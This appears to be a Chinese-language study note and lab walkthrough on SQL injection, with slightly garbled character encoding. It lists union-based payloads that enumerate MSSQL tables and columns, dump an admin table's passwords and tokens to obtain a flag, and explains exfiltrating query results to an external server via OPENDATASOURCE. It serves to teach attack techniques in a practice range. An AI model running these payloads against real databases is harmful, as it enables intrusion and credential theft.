知識梳理
- SQL注入原理:用戶輸入的數(shù)據(jù)可以被拼接到原有代碼執(zhí)行
- SQL注入基本流程:
- (1). 判斷注入點,例:
數(shù)字型:id=1 and 1=1頁面正常id=1 and 1=2頁面不正常;
字符型:單雙引號、括號閉合,觀察頁面是否正常;
使用sleep()觀察頁面是否存在延遲; - (2)猜解字段數(shù),例:
and 1=2 order by 1,2,3通過觀察頁面是否正常來確定字段數(shù) - (3)查看顯錯點
and 1=2 union select 1,2,3通過發(fā)現(xiàn)顯錯位置可以知道在哪里輸出想要的信息 - (4)查詢庫名、表名、字段名、字段內(nèi)容
可以通過查詢系統(tǒng)自帶庫information_schema來獲取想要的內(nèi)容。
-查詢庫名
union select 1,2,database()
-查詢表名
union select 1,2,table_name from information_schema.tables where table_schema = database()
-查詢字段名
union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
-查詢字段內(nèi)容
union select 1,column1,column2 from table_name limit 0,1
group_concat可以將多行數(shù)據(jù)整合到一行輸出
union select 1,2,group_concat(flag) from TABLE_NAME
- 反彈注入原理
反彈注入就是利用SQL SERVER的opendatasource() 函數(shù),來將查詢結(jié)果發(fā)送到另一個外網(wǎng)服務(wù)器的SQL SERVER數(shù)據(jù)庫中。
首先在自己用來接收查詢結(jié)果的外網(wǎng)服務(wù)器中,搭建好SQL SERVER數(shù)據(jù)庫的環(huán)境,然后建立一個具有管理權(quán)限的數(shù)據(jù)庫賬戶
使用條件
能夠堆疊查詢,堆疊查詢用;結(jié)束前一個語句,并執(zhí)行下一個語句。
沒有回顯的注入,支持opendatasource函數(shù)
靶場演示(顯錯注入)
靶場地址
地址http://59.63.200.79:8015/?id=1
確認注入點
嘗試閉合,頁面正常存在注入點

判斷字段數(shù)
' and 1=1 order by 3 --q 頁面正常
' and 1=1 order by 4 --q 頁面報錯
說明存在三個字段(其實可以直接看出來,走個流程)

判斷顯錯位置
'and 1=1 union all select 1,2,3 --q 頁面報錯,說明不是MYSQL數(shù)據(jù)庫,嘗試使用空值構(gòu)建語句
'and 1=1 union all select null,null,null --q頁面正常

'and 1=1 union all select 1,'null','null' --q頁面正常說明2-3為字符串
查詢表名
多次嘗試發(fā)現(xiàn)數(shù)據(jù)庫是MSSQL數(shù)據(jù)庫
利用MSSQL自帶表獲取用戶自建表
'union all select id,name,'null'from sysobjects where xtype='U' --q
PS: xtype=U表示是用戶創(chuàng)建的表,=S是系統(tǒng)表

查詢字段名
'union all select null,name,null from dbo.syscolumns where id=1977058079 --q

得到四個字段id,passwd,token,usernanme;
查詢字段內(nèi)容
'union all select id,passwd,token from admin --q

得到flag: zkaq{e9c9e67c5}
反彈注入
登陸公網(wǎng)服務(wù)器
新建帶有四個字段的表,需要和反彈的表字段數(shù)相同

用opendatasource函數(shù)進行反彈注入。OPENDATASOURCE(provider_name,init_string)
provider_name為用于訪問數(shù)據(jù)源的OLE DB 提供程序的PROGID的名稱
init_string為連接地址、端口、用戶名、密碼、數(shù)據(jù)庫名
server=連接地址,端口;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名稱
